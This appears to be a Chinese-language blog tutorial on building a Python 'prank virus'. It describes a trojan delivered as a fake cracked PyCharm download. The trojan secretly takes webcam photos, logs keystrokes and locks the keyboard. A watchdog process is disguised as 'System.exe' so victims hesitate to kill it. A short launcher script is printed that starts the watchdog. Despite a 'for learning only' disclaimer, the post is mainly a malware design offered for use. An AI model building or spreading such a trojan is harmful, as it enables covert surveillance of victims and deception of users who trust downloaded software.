Python编写简单的恶搞病毒代码,教你如何使用Python制作恶搞病毒
大家好,本文将围绕python简单的病毒编程代码展开说明,如何用python做恶搞病毒是一个很多人都想弄明白的事情,想搞清楚python写病毒的教程需要先了解以下几个事情。
文仅供学习和测试,请勿用于非法用途。
前言
花了挺长时间去开发的,中间有很多包是抄的,比如DDL注入、关于opencv等等,主要其实做了一些拼接、打包、部署python雨点特效。
写这篇博客并不真的想去写病毒攻击别人,而是想告诉大家简单的病毒的原理以及其实我们py学好了,也有能力做出来,并不算难。
写这个东西的人挺少的。那么,我们开始吧。注:本文源码并不会直接公布于博客,希望对其有兴趣的朋友点击蓝色字体:python免费学习资料以及群交流解答点击即可加入 获取,以防不法用途,我可不想吃国家饭(牢饭)。
病毒原理
三个.exe: Pycharm破解版.exe 、 WinCoreManagement.exe 、 System.exe
首先我们有个伪装的程序,比如相信有很多程序猿都去下载过 XXX软件破解版 ,我们这里以”Pycharm破解版”为例。
我们会给用户下载一个压缩包【Pycharm破解版】,里面一定会有很多奇奇怪怪的东西,然后我们把三个.exe也放在里面。
当用户打开 Pycharm.exe 时,会去调用 WinCoreManagement.exe 、 System.exe ,以及 正常的Pycharm程序 ,这样用户就难以发现。
其中调用的 WinCoreManagement.exe 就是我们核心的病毒程序了,我给它加了三个功能:不定时拍照、记录用户的输入、偶尔锁下用户键盘。
刚才还启用了一个 System.exe ,当用户发现了我们的主病毒程序,去任务管理器杀掉了主病毒进程,此时这个 System.exe 进程就会不断去重启病毒程序。
而且一般人其实是不敢去杀一个叫 System 的进程的,对吧。这样,就算是有点经验的程序员,也难不中招。
源码解析
frozen.py
用于处理多线程错乱的问题
Pycharm破解版.py
import os import subprocess import time import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案 import multiprocessing if __name__ == ‘__main__’: multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案 os.chdir(r’.’) #subprocess.Popen(r’pycharm.exe’) # 真正的pychamr程序 subprocess.Popen(r’System.exe’) # System.exe负责无限重启病毒程序WinCoreManagerment.exe time.sleep(20)
这一块儿主要是去调用一个 病毒程序 和进行对用户的 欺骗 程序,应该不难理解。
作者:gpt886